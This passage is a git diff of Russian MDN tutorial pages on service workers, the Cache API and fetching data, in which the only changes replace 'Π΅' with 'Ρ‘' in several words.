Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ отсутствии сСтСвого соСдинСния.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p>
@@ -678,10 +678,10 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
<p>Когда worker ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ запрос, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ (смотри <a href="/en-US/docs/Web/API/Service_Worker_API#Other_use_case_ideas">ΠΈΠ΄Π΅ΠΈ для ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ ΡΠ΅Ρ€Π²ΠΈΡ-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ²</a>), Π½ΠΎ классичСский ΠΏΡ€ΠΈΠΌΠ΅Ρ€ это сохранСниС сСтСвых ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² ΠΈ Π·Π°Ρ‚Π΅ΠΌ доступ ΠΊ Π½ΠΈΠΌ ΠΏΡ€ΠΈ запросС, вмСсто запросов ΠΏΠΎ сСти. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, это позволяСт ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π΅Π±-сайт ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΌ Π² ΠΎΡ„Π»Π°ΠΉΠ½Π΅.</p>
-<p><a href="/en-US/docs/Web/API/Cache">Cache API</a> это Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅ с нСбольшим ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ β€” ΠΎΠ½ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для хранСния HTTP ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΈ прСкрасно Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ.</p>
+<p><a href="/en-US/docs/Web/API/Cache">Cache API</a> это Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅ с нСбольшим ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ β€” ΠΎΠ½ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для хранСния HTTP ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΈ прСкрасно Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ.</p>
<div class="note">
-<p><strong>Note</strong>: Service workers ΠΈ Cache доступны Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Π’ ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈ, Safari Π΅Ρ‰Π΅ Π½Π΅ ΠΈΠΌΠ΅Π» Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π½ΠΎ скоро Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ.</p>
+<p><strong>Note</strong>: Service workers ΠΈ Cache доступны Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Π’ ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈ, Safari Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΠΌΠ΅Π» Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π½ΠΎ скоро Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ.</p>
</div>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_сСрвис_Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°</h3>
@@ -703,12 +703,12 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
}</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»ΡƒΒ <code>sw.js</code> ΡƒΠΊΠ°Π·Π°Π½ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΊΠΎΡ€Π½ΡΒ ΡΠ°ΠΉΡ‚Π°, Π° Π½Π΅ JavaScript Ρ„Π°ΠΉΠ»Π°, содСрТащСго основной код. ΠŸΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ -Β <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. ΠšΠΎΡ€Π΅Π½ΡŒ -Β Β <code>https://mdn.github.io</code>, ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒΒ <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° своСм сСрвСрС,Β Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡƒΡ‚ΡŒ ΠΊ скрипту. Π­Ρ‚ΠΎ довольно Π·Π°ΠΏΡƒΡ‚Π°Π½Π½ΠΎ, Π½ΠΎ обязано Ρ‚Π°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»ΡƒΒ <code>sw.js</code> ΡƒΠΊΠ°Π·Π°Π½ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΊΠΎΡ€Π½ΡΒ ΡΠ°ΠΉΡ‚Π°, Π° Π½Π΅ JavaScript Ρ„Π°ΠΉΠ»Π°, содСрТащСго основной код. ΠŸΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ -Β <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. ΠšΠΎΡ€Π΅Π½ΡŒ -Β Β <code>https://mdn.github.io</code>, ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒΒ <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° своём сСрвСрС,Β Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡƒΡ‚ΡŒ ΠΊ скрипту. Π­Ρ‚ΠΎ довольно Π·Π°ΠΏΡƒΡ‚Π°Π½Π½ΠΎ, Π½ΠΎ обязано Ρ‚Π°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности.</p>
</div>
<h4 id="УстанавливаСм_сСрвис_Π²ΠΎΡ€ΠΊΠ΅Ρ€">УстанавливаСм сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€</h4>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° страница с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π°Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β ΠΊΠΎΠ³Π΄Π° страница Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°), сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ запустится Π½Π° этой страницС ΠΈΒ Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘. Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, событиС <code>install</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅; Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ Π² процСссС установки.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° страница с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π°Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β ΠΊΠΎΠ³Π΄Π° страница Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°), сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ запустится Π½Π° этой страницС ΠΈΒ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘. Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, событиС <code>install</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅; Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ Π² процСссС установки.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° файл сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>install</code> зарСгистрирован Π½Π° <code>self</code>. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>self</code> это способ ссылки Π½Π°Β Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽΒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° ΠΈΠ· Ρ„Π°ΠΉΠ»Π° с сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ.</p>
@@ -733,11 +733,11 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) {
<h4 id="ΠžΡ‚Π²Π΅Ρ‡Π°Π΅ΠΌ_Π½Π°_ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_запросы">ΠžΡ‚Π²Π΅Ρ‡Π°Π΅ΠΌ Π½Π° ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ запросы</h4>
-<p>Когда сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ зарСгистрирован ΠΈ установлСн Π½Π° страницС HTML ΠΈ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² кэш, всС практичСски Π³ΠΎΡ‚ΠΎΠ²ΠΎ. НуТно ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ - Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ для ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° дальнСйшиС сСтСвыС запросы.</p>
+<p>Когда сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ зарСгистрирован ΠΈ установлСн Π½Π° страницС HTML ΠΈ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² кэш, всС практичСски Π³ΠΎΡ‚ΠΎΠ²ΠΎ. НуТно ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ - Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ для ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° дальнСйшиС сСтСвыС запросы.</p>
-<p>Π­Ρ‚ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ вторая Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° Ρ„Π°ΠΉΠ»Π°Β <code>sw.js</code>. ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ ΠΊ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΉΒ ΠΎΠ±Π»Π°ΡΡ‚ΠΈΒ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΡ€ΠΈ событии <code>fetch</code>. Π­Ρ‚ΠΎ происходит всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅Π»Π°Π΅Ρ‚ запрос рСсурса Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ, Π³Π΄Π΅ зарСгистрирован сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€.</p>
+<p>Π­Ρ‚ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ вторая Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° Ρ„Π°ΠΉΠ»Π°Β <code>sw.js</code>. ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ ΠΊ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΉΒ ΠΎΠ±Π»Π°ΡΡ‚ΠΈΒ Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΡ€ΠΈ событии <code>fetch</code>. Π­Ρ‚ΠΎ происходит всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅Π»Π°Π΅Ρ‚ запрос рСсурса Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ, Π³Π΄Π΅ зарСгистрирован сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€.</p>
-<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΌΡ‹ сначала выводим Π² консоль URL Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ рСсурса. Π—Π°Ρ‚Π΅ΠΌ ΠΎΡ‚Π΄Π°Π΅ΠΌ особый ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("FetchEvent.respondWith()")}}.</p>
+<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΌΡ‹ сначала выводим Π² консоль URL Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ рСсурса. Π—Π°Ρ‚Π΅ΠΌ ΠΎΡ‚Π΄Π°Ρ‘ΠΌ особый ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("FetchEvent.respondWith()")}}.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ {{domxref("CacheStorage.match()")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ запрос (Ρ‚.Π΅. совпадСниС ΠΏΠΎ URL) Π² кэшС. ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈΠ»ΠΈΒ <code>undefined</code>, Ссли Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ нашлось.</p>
diff --git a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html
index 63d9010aab..da373e930c 100644
--- a/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/fetching_data/index.html
@@ -14,7 +14,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div>
-<p class="summary"><span lang="ru">Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ распространСнной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π² соврСмСнных Π²Π΅Π±-сайтах ΠΈ ​​прилоТСниях являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра для обновлСния Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π²Π΅Π±-страницы Π±Π΅Π· нСобходимости Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСй Π½ΠΎΠ²ΠΎΠΉ страницы. Π­Ρ‚Π°, казалось Π±Ρ‹, нСбольшая Π΄Π΅Ρ‚Π°Π»ΡŒ ΠΎΠΊΠ°Π·Π°Π»Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сайтов, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ объясним ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΈ рассмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ XMLHttpRequest ΠΈ API Fetch.</span></p>
+<p class="summary"><span lang="ru">Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ распространённой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π² соврСмСнных Π²Π΅Π±-сайтах ΠΈ ​​прилоТСниях являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра для обновлСния Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π²Π΅Π±-страницы Π±Π΅Π· нСобходимости Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСй Π½ΠΎΠ²ΠΎΠΉ страницы. Π­Ρ‚Π°, казалось Π±Ρ‹, нСбольшая Π΄Π΅Ρ‚Π°Π»ΡŒ ΠΎΠΊΠ°Π·Π°Π»Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сайтов, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ объясним ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΈ рассмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ XMLHttpRequest ΠΈ API Fetch.</span></p>
<table class="learn-box standard-table">
<tbody>
@@ -41,7 +41,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data
<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ созданию Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… Π²Π΅Π±-страницам Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ нСбольшиС Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML">HTML</a>, {{glossary("XML")}}, <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON">JSON</a> ΠΈΠ»ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст) ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ нСобходимости, помогая Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽΒ Π²Ρ‹ΡˆΠ΅.</p>
-<p>Π­Ρ‚ΠΎ достигаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊΠΈΡ… API, ΠΊΠ°ΠΊ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈ - Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΠΎΠΉ - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>. Π­Ρ‚ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π΅Π±-страницам Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запросы <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">HTTP</a> для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… рСсурсов, доступных Π½Π° сСрвСрС, ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ 